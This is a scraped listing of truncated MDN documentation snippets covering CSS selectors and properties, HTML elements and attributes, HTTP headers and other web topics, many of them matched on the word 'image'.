html <p class="boring-text">here is some plain old boring text.</p> <p>here is some normal text that is neither boring nor exciting.</p> <p class="exciting-text">contributing to mdn is easy and fun.</p> css .exciting-text::after { content: " <- exciting!"; color: green; } .boring-text::after { content: " <- boring"; color: red; } result decorative example we can style text or images in the content property almost any way we want.
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
html <q>some quotes,</q> he said, <q>are better than none.</q> css q::before { content: "«"; color: blue; } q::after { content: "»"; color: red; } result decorative example we can style text or images in the content property almost any way we want.
::cue-region - CSS: Cascading Style Sheets
syntax ::cue-region | ::cue-region( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties: background background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-sh...
::cue - CSS: Cascading Style Sheets
WebCSS::cue
syntax ::cue | ::cue( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties: background background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-sh...
::first-line (:first-line) - CSS: Cascading Style Sheets
ont, font-kerning, font-style, font-variant, font-variant-numeric, font-variant-position, font-variant-east-asian, font-variant-caps, font-variant-alternates, font-variant-ligatures, font-synthesis, font-feature-settings, font-language-override, font-weight, font-size, font-size-adjust, font-stretch, and font-family all background-related properties: background-color, background-clip, background-image, background-origin, background-position, background-repeat, background-size, background-attachment, and background-blend-mode the color property word-spacing, letter-spacing, text-decoration, text-transform, and line-height text-shadow, text-decoration, text-decoration-color, text-decoration-line, text-decoration-style, and vertical-align.
::selection - CSS: Cascading Style Sheets
::selection { background-color: cyan; } allowable properties only certain css properties can be used with ::selection: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow in particular, background-image is ignored.
:checked - CSS: Cascading Style Sheets
WebCSS:checked
and-btn { display: inline-block; margin-top: 12px; padding: 5px 11px; background-color: #ff7; border: 1px solid; border-radius: 3px; } /* show hidden content when the checkbox is checked */ #expand-toggle:checked ~ * .expandable { visibility: visible; } /* style the button when the checkbox is checked */ #expand-toggle:checked ~ #expand-btn { background-color: #ccc; } result image gallery you can use the :checked pseudo-class to build an image gallery with full-size images that show only when the user clicks on a thumbnail.
:default - CSS: Cascading Style Sheets
WebCSS:default
this also applies to <input> types that submit forms, like image or submit.
:hover - CSS: Cascading Style Sheets
WebCSS:hover
syntax :hover examples basic example html <a href="#">try hovering over this link.</a> css a { background-color: powderblue; transition: background-color .5s; } a:hover { background-color: gold; } result image gallery you can use the :hover pseudo-class to build an image gallery with full-size images that show only when the mouse moves over a thumbnail.
@document - CSS: Cascading Style Sheets
WebCSS@document
media-document(), with the parameter of video, image, plugin or all.
-ms-high-contrast - CSS: Cascading Style Sheets
@media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div { background-image: url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div { background-image: url('image-wb.png'); } } accessibility concerns theming high contrast mode's theme colors come from a limited subset of deprecated css2 system colors.
Adjacent sibling combinator - CSS: Cascading Style Sheets
/* paragraphs that come immediately after any image */ img + p { font-weight: bold; } syntax former_element + target_element { style properties } examples css li:first-of-type + li { color: red; } html <ul> <li>one</li> <li>two!</li> <li>three</li> </ul> result specifications specification status comment selectors level 4the definition of 'next-sibling combinator' in that specification.
CSS Box Alignment - CSS: Cascading Style Sheets
the below image shows an alignment container with two alignment subjects inside.
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
you might think that this should be a use case for a justify-self property, however consider the image below.
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
after laying the items out we have some positive free space in the flex container, shown in this image as the hatched area: we are working with a flex-basis equal to the content size so the available space to distribute is subtracted from the total available space (the width of the flex container), and the leftover space is then shared out equally among each item.
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
replaced elements replaced elements such as images will not change their orientation based on the writing-mode property.
Layout using named grid lines - CSS: Cascading Style Sheets
the area names are: hd ft main sd this gives us column and row lines: hd-start hd-end sd-start sd-end main-start main-end ft-start ft-end you can see the named lines in the image, note that some lines have two names - for example sd-end and main-start refer to the same column line.
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
a product listing with auto-placement many layouts are essentially sets of “cards” – product listings, image galleries, and so on.
CSS Lists - CSS: Cascading Style Sheets
reference properties list-style-image list-style-type list-style-position list-style guides consistent list indentation explains how to achieve consistent list indentation across different browsers.
CSS Masking - CSS: Cascading Style Sheets
reference properties clip clip-path clip-rule mask mask-border mask-border-mode mask-border-outset mask-border-repeat mask-border-slice mask-border-source mask-border-width mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size mask-type specifications specification status comment css masking module level 1 candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'mask' in that specification.
CSS Overflow - CSS: Cascading Style Sheets
this is the overflow of painting effects which do not affect layout or otherwise extend the scrollable overflow region, such as box shadows, border images, text decoration, overhanging glyphs, outlines, etc.
The stacking context - CSS: Cascading Style Sheets
element with any of the following properties with value other than none: transform filter perspective clip-path mask / mask-image / mask-border element with a isolation value isolate.
Understanding CSS z-index - CSS: Cascading Style Sheets
in the most basic cases, html pages can be considered two-dimensional, because text, images, and other elements are arranged on the page without overlapping.
Shapes from box values - CSS: Cascading Style Sheets
for more complex shapes you will need to use one of the basic shapes as a value, or define your shape from an image as covered in other guides in this section.
Using CSS transforms - CSS: Cascading Style Sheets
examples here is an unaltered image of the mdn logo: rotating here is the mdn logo rotated 90 degrees from its bottom-left corner.
CSS data types - CSS: Cascading Style Sheets
WebCSSCSS Types
t of css specifications include the following: <angle> <angle-percentage> <angular-color-hint> <angular-color-stop> <attr-fallback> <attr-name> <basic-shape> <blend-mode> <calc-product> <calc-sum> <calc-value> <color> <color-stop> <color-stop-angle> <counter-style> <custom-ident> <dimension> <filter-function> <flex> <frequency> <frequency-percentage> <gradient> <ident> <image> <integer> <length> <length-percentage> <number> <number-percentage> <percentage> <position> <quote> <ratio> <resolution> <shape-box> <shape-radius> <string> <time> <time-percentage> <timing-function> <toggle-value> <transform-function> <type-or-unit> <url> <url-modifier> <zero> specifications specification status comment css values and units ...
Compositing and Blending - CSS: Cascading Style Sheets
compositing and blending is a css module that defines how shapes of different elements are combined into a single image.
General sibling combinator - CSS: Cascading Style Sheets
/* paragraphs that are siblings of and subsequent to any image */ img ~ p { color: red; } syntax former_element ~ target_element { style properties } examples css p ~ span { color: red; } html <span>this is not red.</span> <p>here is a paragraph.</p> <code>here is some code.</code> <span>and here is a red span!</span> <code>more code...</code> <span>and this is a red span!</span> result specifications specification status comment selectors level 4the definition of 'subsequent-sibling combinator' in that specification.
CSS Layout cookbook - CSS: Cascading Style Sheets
the recipes recipe description layout methods media objects a two-column box with an image on one side and descriptive text on the other, e.g.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
@media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div { background-image: url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div { background-image: url('image-wb.png'); } } ...
Privacy and the :visited selector - CSS: Cascading Style Sheets
they may, however, require the following changes to existing sites: using background images to style links based on whether they've been visited will no longer work, since only colors can be used to style visited links.
Value definition syntax - CSS: Cascading Style Sheets
<'border-image-outset'> || <'border-image-slice'> | single bar exactly one of the components must be present smaller | small | normal | big | bigger [ ] brackets group components to bypass precedence rules bold [ thin && <length> ] multipliers no multiplier exactly 1 times solid * asterisk 0 or more times bold smaller* + ...
Visual formatting model - CSS: Cascading Style Sheets
external information (e.g., viewport size, intrinsic dimensions of images, etc.).
<alpha-value> - CSS: Cascading Style Sheets
examples setting text color opacity here an alpha value is used to set partially transparent text: /* <rgba()> */ color: rgba(34, 12, 64, 0.6); color: rgba(34.0 12 64 / 60%); setting shape image threshold here an alpha value is used to determine which parts of an image are considered part of a shape: /* shape-image-threshold */ shape-image-threshold: 70%; shape-image-threshold: 0.7; specifications specification status comment css color module level 4the definition of '<alpha-value>' in that specification.
aspect-ratio - CSS: Cascading Style Sheets
in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification.
backdrop-filter - CSS: Cascading Style Sheets
r> | <percentage><hue> = <number> | <angle> examples css .box { background-color: rgba(255, 255, 255, 0.3); border-radius: 5px; font-family: sans-serif; text-align: center; line-height: 1; -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); max-width: 50%; max-height: 50%; padding: 20px 40px; } html, body { height: 100%; width: 100%; } body { background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172)); background-position: center center; background-repeat: no-repeat; background-size: cover; } .container { align-items: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</...
backface-visibility - CSS: Cascading Style Sheets
an element's back face is a mirror image of its front face.
background-color - CSS: Cascading Style Sheets
it is rendered behind any background-image that is specified, although the color will still be visible through any transparency in the image.
background-origin - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <box>#where <box> = border-box | padding-box | content-box examples setting background origins .example { border: 10px double; padding: 10px; background: url('image.jpg'); background-position: center left; background-origin: content-box; } #example2 { border: 4px solid black; padding: 10px; background: url('image.gif'); background-repeat: no-repeat; background-origin: border-box; } div { background-image: url('logo.jpg'), url('mainback.png'); /* applies two images to the background */ background-position: top right, 0px 0px; backgroun...
border-bottom-left-radius - CSS: Cascading Style Sheets
a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property.
border-bottom-right-radius - CSS: Cascading Style Sheets
a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property.
border-top-left-radius - CSS: Cascading Style Sheets
a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property.
border-top-right-radius - CSS: Cascading Style Sheets
a background, being an image or a color, is clipped at the border, even a rounded one; the exact location of the clipping is defined by the value of the background-clip property.
caret-color - CSS: Cascading Style Sheets
on the other hand, the mouse cursor image shown when hovering over text where the cursor property is auto, or when hovering over an element where the cursor property is text or vertical-text, though it sometimes looks like a caret, is not a caret (it’s a cursor).
clip - CSS: Cascading Style Sheets
WebCSSclip
formal definition initial valueautoapplies toabsolutely positioned elementsinheritednocomputed valueauto if specified as auto, otherwise a rectangle with four values, each of which is auto if specified as auto or the computed length otherwiseanimation typea rectangle formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image css .dotted-border { border: dotted; position: relative; width: 536px; height: 350px; } #top-left, #middle, #bottom-right { position: absolute; top: 0; } #top-left { left: 360px; clip: rect(0 175px 113px 0); } #middle { left: 280px; clip: rect(119px 255px 229px 80px); } #bottom-right { left: 200px; clip: rect(235px 335px 345px 160px); } html <p class="dotted-borde...
color - CSS: Cascading Style Sheets
WebCSScolor
it can't be a <gradient>, which is actually a type of <image>.
<color> - CSS: Cascading Style Sheets
/label> <input type="text" id="color"> css div { width: 100%; height: 200px; } javascript const inputelem = document.queryselector('input'); const divelem = document.queryselector('div'); function validtextcolor(stringtotest) { if (stringtotest === "") { return false; } if (stringtotest === "inherit") { return false; } if (stringtotest === "transparent") { return false; } const image = document.createelement("img"); image.style.color = "rgb(0, 0, 0)"; image.style.color = stringtotest; if (image.style.color !== "rgb(0, 0, 0)") { return true; } image.style.color = "rgb(255, 255, 255)"; image.style.color = stringtotest; return image.style.color !== "rgb(255, 255, 255)"; } inputelem.addeventlistener('change', () => { if(validtextcolor(inputelem.value)) { divele...
counter() - CSS: Cascading Style Sheets
WebCSScounter
the counter() function (and counters() function) is what makes it useful by returning developer defined strings (or images).
<easing-function> - CSS: Cascading Style Sheets
ption>cubic-bezier(0.1, -0.6, 0.2, 0)</option> <option>cubic-bezier(0, 1.1, 0.8, 4)</option> <option>steps(5, end)</option> <option>steps(3, start)</option> <option>steps(4)</option> </select> </li> </ul> css body > div { position: relative; height: 100px; } div > div { position: absolute; width: 50px; height: 50px; background-color: blue; background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascript const selectelem = document.queryselector('select...
blur() - CSS: Cascading Style Sheets
the blur() css function applies a gaussian blur to the input image.
grayscale() - CSS: Cascading Style Sheets
the grayscale() css function converts the input image to grayscale.
invert() - CSS: Cascading Style Sheets
the invert() css function inverts the color samples in the input image.
opacity() - CSS: Cascading Style Sheets
the opacity() css function applies transparency to the samples in the input image.
sepia() - CSS: Cascading Style Sheets
the sepia() css function converts the input image to sepia, giving it a warmer, more yellow/brown appearance.
font-kerning - CSS: Cascading Style Sheets
in the image below, for instance, the examples on the left do not use kerning, while the ones on the right do: syntax the font-kerning property is specified as one of the keyword values listed below.
list-style-position - CSS: Cascading Style Sheets
<li>list item 2-3</li> <li>list item 2-4</li> </ul> <ul class="inside-img">list 3 <li>list item 3-1</li> <li>list item 3-2</li> <li>list item 3-3</li> <li>list item 3-4</li> </ul> css .inside { list-style-position: inside; list-style-type: square; } .outside { list-style-position: outside; list-style-type: circle; } .inside-img { list-style-position: inside; list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-position' in that specification.
mask-border-outset - CSS: Cascading Style Sheets
mask-border-outset: 1rem; chromium-based browsers support an outdated version of this property — mask-box-image-outset — with a prefix: -webkit-mask-box-image-outset: 1rem; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-composite - CSS: Cascading Style Sheets
ents; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <compositing-operator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px; background-color: #8cffa0; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg), url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option value="intersect">intersect</opt...
offset-anchor - CSS: Cascading Style Sheets
html <section> <div class="offset-anchor1"></div> </section> <section> <div class="offset-anchor2"></div> </section> <section> <div class="offset-anchor3"></div> </section> css div { offset-path: path('m 0,20 l 200,20'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; } section { background-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%, transparent 52%); border: 1px solid #ccc; margin-bottom: 10px; } .offset-anchor1 { offset-anchor: auto; background: cyan; } .offset-anchor2 { offset-anchor: right top; background: purple; } .offset-anchor3 { offset-anchor: left bottom; background: magenta; } @keyframes move { 0% { offset-distan...
Guide to scroll anchoring - CSS: Cascading Style Sheets
this has happened because large images or some other elements have just loaded further up in the content.
overscroll-behavior-block - CSS: Cascading Style Sheets
html <main> <div> <div> <p><code>overscroll-behavior-block</code> has been used to make it so that when the scroll boundaries of the yellow inner box are reached, the whole page does not begin to scroll.</p> </div> </div> </main> css main { height: 3000px; width: 500px; background-color: white; background-image: repeating-linear-gradient(to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } main > div { height: 300px; width: 400px; overflow: auto; position: relative; top: 50px; left: 50px; overscroll-behavior-block: contain; } div > div { height: 1500px; width: 100%; background-color: yellow; background-image: repeating-linear-gradient(to bottom, rgba(0,0,0,0...
overscroll-behavior-inline - CSS: Cascading Style Sheets
html <main> <div> <div> <p><code>overscroll-behavior-inline</code> has been used to make it so that when the scroll boundaries of the yellow inner box are reached, the whole page does not begin to scroll.</p> </div> </div> </main> css main { height: 400px; width: 3000px; background-color: white; background-image: repeating-linear-gradient(to right, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 19px, rgba(0,0,0,0.5) 20px); } main > div { height: 300px; width: 400px; overflow: auto; position: relative; top: 50px; left: 50px; overscroll-behavior-inline: contain; } div > div { height: 100%; width: 1500px; background-color: yellow; background-image: repeating-linear-gradient(to right, rgba(0,0,0,0)...
pointer-events - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none | visiblepainted | visiblefill | visiblestroke | visible | painted | fill | stroke | all | inherit examples disabling pointer events on all images this example disables pointer events (clicking, dragging, hovering, etc.) on all images.
position - CSS: Cascading Style Sheets
WebCSSposition
overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> css body { width: 500px; margin: 0 auto; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: absolute; background: yellow; top: 30px; left: 30px; } result fixed positioning fixed pos...
resize - CSS: Cascading Style Sheets
WebCSSresize
resize does not apply to the following: inline elements block elements for which the overflow property is set to visible formal definition initial valuenoneapplies toelements with overflow other than visible, and optionally replaced elements representing images or videos, and iframesinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | both | horizontal | vertical | block | inline examples disabling resizability of textareas in many browsers, <textarea> elements are resizable by default.
<resolution> - CSS: Cascading Style Sheets
due to the 1:96 fixed ratio of css in to css px, 1dppx is equivalent to 96dpi, which corresponds to the default resolution of images displayed in css as defined by image-resolution.
<shape> - CSS: Cascading Style Sheets
WebCSSshape
see also related css property: clip the -moz-image-rect() function has similar coordinate values to rect().
symbols() - CSS: Cascading Style Sheets
WebCSSsymbols
[ <string> | <image> ]+ ); <symbols-type> can be one of the following: cyclic: the system cycles through the given values in the order of their definition, and returns to the start when it reaches the end.
text-decoration-skip - CSS: Cascading Style Sheets
objects the entire margin box of the element is skipped if it is an atomic inline such as an image or inline-block.
translateZ() - CSS: Cascading Style Sheets
a value of 500px means the user is 500 pixels "in front of" the imagery located at z=0.
<transform-function> - CSS: Cascading Style Sheets
<option>translatey(100px)</option> <option>translatez(100px)</option> <option>translate3d(50px, 50px, 50px)</option> <option>perspective(200px)</option> <option>matrix(1, 2, -1, 1, 80, 80)</option> <option>matrix3d(1,0,0,0,0,1,3,0,0,0,1,0,50,100,0,1.1)</option> </select> </div> </main> css main { width: 400px; height: 200px; padding: 50px; background-image: linear-gradient(135deg, white, cyan, white); } #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; ...
unicode-bidi - CSS: Cascading Style Sheets
like an image.
writing-mode - CSS: Cascading Style Sheets
3 { writing-mode: vertical-rl; -webkit-writing-mode: vertical-rl; -ms-writing-mode: vertical-rl; } .example.text4 span, .example.text4 { writing-mode: sideways-lr; -webkit-writing-mode: sideways-lr; -ms-writing-mode: sideways-lr; } .example.text5 span, .example.text5 { writing-mode: sideways-rl; -webkit-writing-mode: sideways-rl; -ms-writing-mode: sideways-rl; } result this image shows what the output should look like, in case your browser's support for writing-mode is incomplete: specifications specification status comment css writing modes level 4the definition of 'writing-mode' in that specification.
Demos of open web technologies
2d graphics canvas blob sallad: an interactive blob using javascript and canvas (code demos) 3d raycaster processing.js p5js 3d on 2d canvas minipaint: image editor (source code) zen photon garden (source code) multi touch in canvas demo (source code) svg bubblemenu (visual effects and interaction) html transformations using foreignobject (visual effects and transforms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive) video embedded in svg (or use the local download) summer html image map creator (source ...
Guide to Web APIs - Developer guides
WebGuideAPI
a to z aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource t...
Adding captions and subtitles to HTML5 video - Developer guides
no image is used for the captions button, so it is simply styled as: .controls button[data-state="subtitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666; background:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascript implementation, but these will be mentioned at the appropri...
DOM onevent handlers - Developer guides
elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (such as the base <body> element).
Index - Developer guides
WebGuideIndex
27 graphics on the web 2d, 3d, canvas, graphics, html5, svg, web, webgl, webrtc websites and applications often need to present graphics, such as images.these articles provide insight into how you can accomplish this.
Printing - Developer guides
you wish to use higher resolution images for a better result.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
"photo" the url of an image representing the person, company, or contact information given in the other fields in the form.
HTML attribute: minlength - HTML: Hypertext Markup Language
input { border: 2px solid currentcolor; } input:invalid { border: 2px dashed red; } input:invalid:focus { background-image: linear-gradient(pink, lightgreen); } specifications specification status html living standardthe definition of 'minlength attribute' in that specification.
HTML attribute: multiple - HTML: Hypertext Markup Language
file input when multiple is set on the file input type, the user can select one or more files: <form method="post" enctype="multipart/form-data"> <p> <label for="uploads"> choose the images you want to upload: </label> <input type="file" id="uploads" name="uploads" accept=".jpg, .jpeg, .png, .svg, .gif" multiple> </p> <p> <label for="text">pick a text file to upload: </label> <input type="file" id="text" name="text" accept=".txt"> </p> <p> <input type="submit" value="submit"> </p> </form> note the difference in appearance between the example with mul...
HTML attribute: readonly - HTML: Hypertext Markup Language
nor is it supported on any of the button types, including image.
HTML attribute: required - HTML: Hypertext Markup Language
nor is it supported on any of the button types, including image.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
for example: <meta property="og:image" content="https://example.com/thumbnail.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status comment html living standardthe definition of '<base>' in that specification.
<body>: The Document Body element - HTML: Hypertext Markup Language
WebHTMLElementbody
background uri of a image to use as a background.
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
this attribute is also available on <input type="image"> and <input type="submit"> elements.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
sizing the canvas using css versus html the displayed size of the canvas can be changed using css, but if you do this the image is scaled during rendering to fit the styled size, which can make the final graphics rendering end up being distorted.
<details>: The Details disclosure element - HTML: Hypertext Markup Language
WebHTMLElementdetails
the <summary> element supports the list-style shorthand property and its longhand properties, such as list-style-type, to change the disclosure triangle to whatever you choose (usually with list-style-image).
<div>: The Content Division element - HTML: Hypertext Markup Language
WebHTMLElementdiv
html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px; background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status comment html living standardthe definition of '<div>' in that specification.
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
given that a <button>’s label text is inserted between the opening and closing tags, you can include html in the label, even images.
<menuitem> - HTML: Hypertext Markup Language
WebHTMLElementmenuitem
icon image url, used to provide a picture to represent the command.
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
paragraphs are usually represented in visual media as blocks of text separated from adjacent blocks by blank lines and/or first-line indentation, but html paragraphs can be any structural grouping of related content, such as images or form fields.
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
the script should be served with the text/javascript mime type, but browsers are lenient and only block them if the script is served with an image type (image/*); a video type (video/*); an audio (audio/*) type; or text/csv.
<spacer> - HTML: Hypertext Markup Language
WebHTMLElementspacer
it was devised by netscape to accomplish the same effect as a single-pixel layout image, which was something web designers used to use to add white spaces to web pages without actually using an image.
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
ttrackelem = document.getelementbyid("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); examples <video controls poster="/images/sample.gif"> <source src="sample.mp4" type="video/mp4"> <source src="sample.ogv" type="video/ogv"> <track kind="captions" src="samplecaptions.vtt" srclang="en"> <track kind="descriptions" src="sampledescriptions.vtt" srclang="en"> <track kind="chapters" src="samplechapters.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_de.vtt" srclang="de"> <track kind=...
draggable - HTML: Hypertext Markup Language
if this attribute is not set, its default value is auto, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged.
Link types - HTML: Hypertext Markup Language
instead it uses the non-standard apple-touch-icon and apple-touch-startup-image respectively.
Microdata - HTML: Hypertext Markup Language
commonly used vocabularies: creative works: creativework, book, movie, musicrecording, recipe, tvseries embedded non-text objects: audioobject, imageobject, videoobject event health and medical types: notes on the health and medical types under medicalentity organization person place, localbusiness, restaurant product, offer, aggregateoffer review, aggregaterating action thing intangible major search engine operators like google, microsoft, and yahoo!
Data URLs - HTTP
syntax data urls are composed of four parts: a prefix (data:), a mime type indicating the type of data, an optional base64 token if non-textual, and the data itself: data:[<mediatype>][;base64],<data> the mediatype is a mime type string, such as 'image/jpeg' for a jpeg image file.
Browser detection using the user agent - HTTP
each box has an image, an overview, and a historical funfact.
Using HTTP cookies - HTTP
WebHTTPCookies
while the server hosting a web page sets first-party cookies, the page may contain images or other components stored on servers in other domains (for example, ad banners), which may set third-party cookies.
Accept-Encoding - HTTP
this may be the case with some image formats; the server is overloaded and cannot afford the computational overhead induced by the compression requirement.
Content-Encoding - HTTP
the recommendation is to compress data as much as possible and therefore to use this field, but some types of resources, such as jpeg images, are already compressed.
CSP: block-all-mixed-content - HTTP
for example, to disallow nonsecure http images: content-security-policy: img-src https: specifications specification status comment mixed contentthe definition of 'block-all-mixed-content' in that specification.
CSP: img-src - HTTP
the http content-security-policy img-src directive specifies valid sources of images and favicons.
Cross-Origin-Embedder-Policy - HTTP
for example, you can use the crossorigin attribute for this image from a third-party site: <img src="https://thirdparty.com/img.png" crossorigin> specifications specification html living standardthe definition of 'cross-origin-embedder-policy header' in that specification.
web-share - HTTP
the http feature-policy header web-share directive controls controls whether the current document is allowed to use the navigator.share() of web share api to share text, links, images, and other content to arbitrary destiations of user's choice.
Set-Cookie - HTTP
lax: the cookie is withheld on cross-site subrequests, such as calls to load images or frames, but is sent when a user navigates to the url from an external site, such as by following a link.
Transfer-Encoding - HTTP
for example, when generating a large html table resulting from a database query or when transmitting large images.
CSS Houdini
li { background-image: paint(mycomponent, stroke, 10px); --highlights: blue; --lowlights: green; } note: with great power comes great responsibility!
A re-introduction to JavaScript (JS tutorial) - JavaScript
the most common host environment is the browser, but javascript interpreters can also be found in a huge list of other places, including adobe acrobat, adobe photoshop, svg images, yahoo's widget engine, server-side environments such as node.js, nosql databases like the open source apache couchdb, embedded computers, complete desktop environments like gnome (one of the most popular guis for gnu/linux operating systems), and others.
Promise - JavaScript
loading an image with xhr another simple example using promise and xmlhttprequest to load an image is available at the mdn github js-examples repository.
JavaScript typed arrays - JavaScript
imagedata.data is a uint8clampedarray representing a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 inclusive.
MathML attribute reference - MathML
unimplemented src <mglyph> the location of the image resource.
Authoring MathML - MathML
for example tex4ht is often included in tex distributions and has an option to use mathml instead of png images.
Digital audio concepts - Web media technologies
this is similar to how photographers will use high resolution images for editing and compositing before presenting the customer with a jpeg suitable for use on a web site.
Media container formats (file types) - Web media technologies
on mac os, the quicktime framework not only supported quicktime format movie files and codecs, but supported a vast array of popular and specialty audio and video codecs, as well as still image formats.
Codecs used by WebRTC - Web media technologies
this is done by sending an a=imageattr sdp attribute to indicate the maximum resolution that is acceptable.
Animation performance and frame rate - Web Performance
animation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types.
Critical rendering path - Web Performance
the browser initiates requests every time it finds links to external resources, be they stylesheets, scripts, or embedded image references.
Optimizing startup performance - Web Performance
when dealing with data supported by the browser (for example, decoding image data), use the decoders built into the browser or device rather than rolling your own or using one from the original codebase.
Performance budgets - Web Performance
amount of js files/total image size).
Privacy, permissions, and information security
in this article, we examine how to create web content that minimizes the risk of users' personal information or imagery being obtained unexpectedly by third parties.
Add to Home screen - Progressive web apps (PWAs)
hey, at least it isn't cats.", "display": "fullscreen", "icons": [ { "src": "icon/fox-icon.png", "sizes": "192x192", "type": "image/png" } ], "name": "awesome fox pictures", "short_name": "foxes", "start_url": "/pwa-examples/a2hs/index.html" } appropriate icon as shown in the above manifest listing, we are including a 192 x 192 px icon for use in our app.
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
